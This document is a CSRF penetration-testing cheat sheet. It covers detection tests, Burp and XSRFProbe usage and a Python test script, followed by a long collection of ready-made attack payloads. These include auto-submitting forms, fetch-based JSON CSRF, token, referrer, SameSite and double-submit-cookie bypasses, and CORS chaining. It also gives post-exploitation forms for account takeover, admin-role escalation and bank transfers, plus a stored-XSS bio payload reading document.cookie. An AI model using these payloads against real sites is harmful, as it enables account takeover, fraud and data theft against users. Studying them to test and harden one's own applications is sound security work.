Skip to main content

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It exploits the trust that a web application has in the user's browser. How It Works

CSRF attacks work by tricking a victim's browser into sending a malicious request to a web application where the victim is authenticated. For example:

<!-- Attacker's malicious page -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

When a victim who is logged into bank.com visits the attacker's page, their browser automatically sends the authenticated request, potentially transferring money without the victim's knowledge.

Detection

Manual Testing​

Basic CSRF Tests​

Testing for CSRF protections:​

Step 1: Perform a state-changing action (logged in)
POST /api/change-email HTTP/1.1
Host: target.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded

email=newemail@example.com

# Step 2: Check for CSRF token
# Look for:
# - Hidden input field: <input type="hidden" name="csrf_token" value="...">
# - Custom header: X-CSRF-Token: ...
# - Cookie-based token: csrf_token=...

# Step 3: Remove/modify CSRF token
# Try without token
POST /api/change-email HTTP/1.1
Host: target.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded

email=newemail@example.com

If request succeeds: Vulnerable to CSRF

Token Validation Tests​

Testing CSRF token implementation:

# Original request with token
POST /api/update-profile HTTP/1.1
Cookie: session=abc123
csrf_token=xyz789&name=John&email=john@example.com

# Test 1: Remove token completely
name=John&email=john@example.com

# Test 2: Use empty token
csrf_token=&name=John&email=john@example.com

# Test 3: Use another user's token
# Login with second account, get their token
csrf_token=user2_token&name=John&email=john@example.com

# Test 4: Use old/expired token
csrf_token=old_token_xyz123&name=John&email=john@example.com

# Test 5: Modify token slightly
csrf_token=xyz788&name=John&email=john@example.com

HTTP Method Tests​

Testing method-based CSRF protections:

# Original POST request
POST /api/delete-account HTTP/1.1
Cookie: session=abc123

user_id=123

# Test with GET method
GET /api/delete-account?user_id=123 HTTP/1.1
Cookie: session=abc123

# Test with PUT method
PUT /api/delete-account HTTP/1.1
Cookie: session=abc123

user_id=123

# Test with custom methods
PATCH /api/delete-account HTTP/1.1
DELETE /api/delete-account?user_id=123 HTTP/1.1

Content-Type Tests​

Testing content-type based protection:

# Original JSON request
POST /api/update HTTP/1.1
Content-Type: application/json
Cookie: session=abc123

{"email":"new@example.com"}

# Test with form-encoded
POST /api/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123

email=new@example.com

# Test with text/plain
POST /api/update HTTP/1.1
Content-Type: text/plain
Cookie: session=abc123

{"email":"new@example.com"}

# Test with multipart
POST /api/update HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
Cookie: session=abc123

------Boundary
Content-Disposition: form-data; name="email"

new@example.com
------Boundary--

Referrer Header Tests​

Testing referrer-based protection:

# Original request
POST /api/change-password HTTP/1.1
Host: target.com
Referer: https://target.com/settings
Cookie: session=abc123

new_password=test123

# Test without Referer
POST /api/change-password HTTP/1.1
Host: target.com
Cookie: session=abc123

new_password=test123

# Test with attacker's Referer
POST /api/change-password HTTP/1.1
Host: target.com
Referer: https://attacker.com/csrf.html
Cookie: session=abc123

new_password=test123

# Test with partial match
POST /api/change-password HTTP/1.1
Host: target.com
Referer: https://target.com.attacker.com/
Cookie: session=abc123

new_password=test123

Automated Discovery Using Burp Suite

Step 1: Enable CSRF detection

Burp > Target > Site map

Right-click on target > Engagement tools > Generate CSRF PoC

Step 2: Burp will analyze request and create PoC

It automatically handles:

- Multi-part forms

- JSON requests

- Custom headers

Step 3: Test the generated PoC

Save HTML file and open in browser while logged in

Check if action is performed

Step 4: Use Burp Extensions

Install: CSRF Scanner

Install: CSurfer

Install: Auto CSRF

Using XSRFProbe

Basic CSRF scan

xsrfprobe -u https://target.com/endpoint

With cookies

xsrfprobe -u https://target.com/endpoint
--cookie "session=abc123"

Crawl and test

xsrfprobe -u https://target.com
--crawl
--cookie "session=abc123"
--output results.txt

Advanced options

xsrfprobe -u https://target.com/endpoint
--cookie "session=abc123"
--delay 2
--timeout 10
--max-chars 500

Using Custom Scripts

# Python CSRF testing script
import requests
from bs4 import BeautifulSoup

# Target URL
url = "https://target.com/api/change-email"

# Authenticated session
session = requests.Session()
session.cookies.set('session', 'your_session_cookie')

# Original request with CSRF token
response = session.get("https://target.com/settings")
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrf_token'})['value']

print(f"[*] Original token: {csrf_token}")

# Test 1: Without CSRF token
print("[*] Testing without CSRF token...")
response = session.post(url, data={
'email': 'attacker@evil.com'
})
if response.status_code == 200:
print("[+] VULNERABLE: Request succeeded without token!")
else:
print("[-] Protected: Request blocked without token")
# Test 2: With empty token
print("[*] Testing with empty token...")
response = session.post(url, data={
'email': 'attacker@evil.com',
'csrf_token': ''
})
if response.status_code == 200:
print("[+] VULNERABLE: Request succeeded with empty token!")
else:
print("[-] Protected: Request blocked with empty token")

Attack Vectors
GET-Based CSRF

Exploiting GET requests for CSRF:

<!-- Image tag CSRF -->
<img src="https://target.com/api/delete-account?confirm=yes" />

<!-- Script tag CSRF -->
<script src="https://target.com/api/change-setting?setting=value"></script>

<!-- Link tag CSRF -->
<link rel="stylesheet" href="https://target.com/api/action?param=value" />

<!-- Iframe CSRF -->
<iframe src="https://target.com/api/transfer?to=attacker&amount=1000"></iframe>

<!-- Redirect CSRF -->
<meta http-equiv="refresh" content="0; url=https://target.com/api/action?param=value" />

<!-- Ajax CSRF -->
<script>
fetch('https://target.com/api/action?param=value', {
credentials: 'include'
});
</script>

POST-Based CSRF

Exploiting POST requests:

<!-- Auto-submitting form -->
<html>
<body>
<form id="csrf-form" action="https://target.com/api/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>

<!-- With file upload -->
<form action="https://target.com/api/upload-avatar" method="POST" enctype="multipart/form-data">
<input type="file" name="avatar" />
<input type="submit" value="Submit" />
</form>

<!-- JSON CSRF with form -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore":"' value='test"}' />
</form>

JSON CSRF

Exploiting JSON endpoints:

<!-- Method 1: text/plain Content-Type -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com"}' value='' />
<input type="submit" value="Submit" />
</form>

<!-- Method 2: Flash + 307 redirect -->
<script>
// Requires Flash (deprecated)
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://target.com/api/update', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send('{"email":"attacker@evil.com"}');
</script>

<!-- Method 3: Fetch with SameSite=None -->
<script>
fetch('https://target.com/api/update', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
email: 'attacker@evil.com'
})
});
</script>

Multi-Step CSRF

Chaining multiple requests:

<script>
// Step 1: Get current user data
fetch('https://target.com/api/user', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Step 2: Modify and send back
data.email = 'attacker@evil.com';
data.role = 'admin';

return fetch('https://target.com/api/user/update', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
})
.then(() => {
// Step 3: Verify change
console.log('CSRF attack successful');
});
</script>

Login CSRF

Forcing victim to login with attacker's account:

<!-- Force login to attacker's account -->
<form action="https://target.com/login" method="POST" id="login-form">
<input type="hidden" name="username" value="attacker" />
<input type="hidden" name="password" value="attackerpass123" />
</form>
<script>
document.getElementById('login-form').submit();
</script>

<!-- Purpose: Victim uses attacker's account
- Victim adds payment method
- Victim enters sensitive data
- Attacker logs back in and sees data
-->

Bypass Techniques Token Bypass

Bypassing CSRF token validation:

Remove token parameter

Original:

POST /api/update HTTP/1.1 csrf_token=xyz&email=test@example.com

Without token:

POST /api/update HTTP/1.1 email=test@example.com

Empty token

csrf_token=&email=test@example.com

Null token

csrf_token=null&email=test@example.com

Array notation

csrf_token[]=&email=test@example.com

Change parameter name slightly

csrftoken=xyz&email=test@example.com CSRF_TOKEN=xyz&email=test@example.com

Token Reuse

Using tokens across accounts:

Step 1: Login with Account A

Extract CSRF token: token_A

Step 2: Login with Account B

Use token_A instead of token_B

If token is not tied to session: Vulnerable

POST /api/update HTTP/1.1 Cookie: session=account_B_session csrf_token=token_A&email=attacker@evil.com

Method Override

Overriding HTTP methods:

Original POST protected by CSRF

POST /api/delete-account HTTP/1.1

Try method override headers

POST /api/delete-account HTTP/1.1 X-HTTP-Method-Override: DELETE

POST /api/delete-account HTTP/1.1 X-Method-Override: PUT

Try query parameter

POST /api/delete-account?_method=DELETE HTTP/1.1

Change to GET

GET /api/delete-account HTTP/1.1

Content-Type Bypass

Bypassing content-type restrictions:

Server checks for application/json

Send as text/plain to bypass CORS preflight

POST /api/update HTTP/1.1
Content-Type: text/plain
Cookie: session=abc123

{"email":"attacker@evil.com"}

# Or use form encoding
POST /api/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123

email=attacker@evil.com

# With charset bypass
Content-Type: application/json; charset=utf-7
Content-Type: text/plain; charset=iso-8859-1

Referrer Bypass

Bypassing referrer checks:

<!-- Remove referrer -->
<meta name="referrer" content="no-referrer">
<form action="https://target.com/api/action" method="POST">
<input type="hidden" name="param" value="value" />
</form>

<!-- Partial referrer -->
<meta name="referrer" content="origin">

<!-- From subdomain -->
<!-- If check is: if (referer.contains("target.com")) -->
<!-- Host malicious page at: target.com.attacker.com -->

<!-- Data URI with iframe -->
<iframe src="data:text/html,<form action='https://target.com/api/action' method='POST'><input name='param' value='value'></form><script>document.forms[0].submit()</script>"></iframe>

Double Submit Cookie Bypass

Bypassing double-submit cookie pattern:

<!-- If app checks: cookie_token == post_token -->
<!-- But doesn't validate token format -->

<!-- Set attacker's token via subdomain or XSS -->
<script>
document.cookie = "csrf_token=attacker_token; domain=.target.com";
</script>

<!-- Then submit with matching token -->
<form action="https://target.com/api/action" method="POST">
<input type="hidden" name="csrf_token" value="attacker_token" />
</form>

SameSite Cookie Bypass

Bypassing SameSite cookie protection:

<!-- SameSite=Lax bypass via GET -->
<!-- If action can be performed via GET -->
<a href="https://target.com/api/action?param=value">Click here</a>

<!-- SameSite=Lax bypass via top-level navigation -->
<script>
window.open('https://target.com/api/action?param=value');
</script>

<!-- SameSite=None bypass (cookies will be sent) -->
<!-- Requires HTTPS -->
<form action="https://target.com/api/action" method="POST">
<input type="hidden" name="param" value="value" />
</form>

<!-- Via subdomain (same site) -->
<!-- If attacker controls subdomain.target.com -->
<!-- SameSite cookies will be sent -->

CORS Misconfiguration Chain

Combining CORS with CSRF:

<script>
// If CORS allows credentials from attacker origin
fetch('https://target.com/api/get-csrf-token', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Extract token
const token = data.csrf_token;

// Use token in CSRF attack
return fetch('https://target.com/api/action', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': token
},
body: JSON.stringify({ param: 'value' })
});
});
</script>

Post-Exploitation Account Takeover

Using CSRF for account takeover:

<!-- Change email -->
<form action="https://target.com/api/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.forms[0].submit();</script>

<!-- Change password -->
<form action="https://target.com/api/change-password" method="POST">
<input type="hidden" name="new_password" value="hacked123" />
<input type="hidden" name="confirm_password" value="hacked123" />
</form>
<script>document.forms[0].submit();</script>

<!-- Add attacker's email as recovery -->
<form action="https://target.com/api/add-recovery-email" method="POST">
<input type="hidden" name="recovery_email" value="attacker@evil.com" />
</form>
<script>document.forms[0].submit();</script>

Privilege Escalation

Escalating privileges through CSRF:

<!-- Add admin role -->
<form action="https://target.com/api/user/update" method="POST">
<input type="hidden" name="user_id" value="123" />
<input type="hidden" name="role" value="admin" />
</form>

<!-- Add to admin group -->
<form action="https://target.com/api/groups/add-member" method="POST">
<input type="hidden" name="group_id" value="1" />
<input type="hidden" name="user_id" value="attacker_id" />
</form>

Financial Fraud

Financial attacks via CSRF:

<!-- Transfer money -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to_account" value="attacker_account" />
<input type="hidden" name="amount" value="10000" />
</form>

<!-- Change payment method -->
<form action="https://shop.com/api/payment-method" method="POST">
<input type="hidden" name="card_number" value="attacker_card" />
<input type="hidden" name="expiry" value="12/25" />
</form>

<!-- Purchase items -->
<form action="https://shop.com/api/checkout" method="POST">
<input type="hidden" name="item_id" value="expensive_item" />
<input type="hidden" name="quantity" value="10" />
<input type="hidden" name="shipping" value="attacker_address" />
</form>

Data Manipulation

Manipulating user data:

<!-- Delete account -->
<img src="https://target.com/api/delete-account?confirm=yes" />

<!-- Update profile with malicious content -->
<form action="https://target.com/api/profile" method="POST">
<input type="hidden" name="bio" value="<script>alert(document.cookie)</script>" />
</form>

<!-- Change privacy settings -->
<form action="https://target.com/api/privacy" method="POST">
<input type="hidden" name="profile_public" value="true" />
<input type="hidden" name="show_email" value="true" />
</form>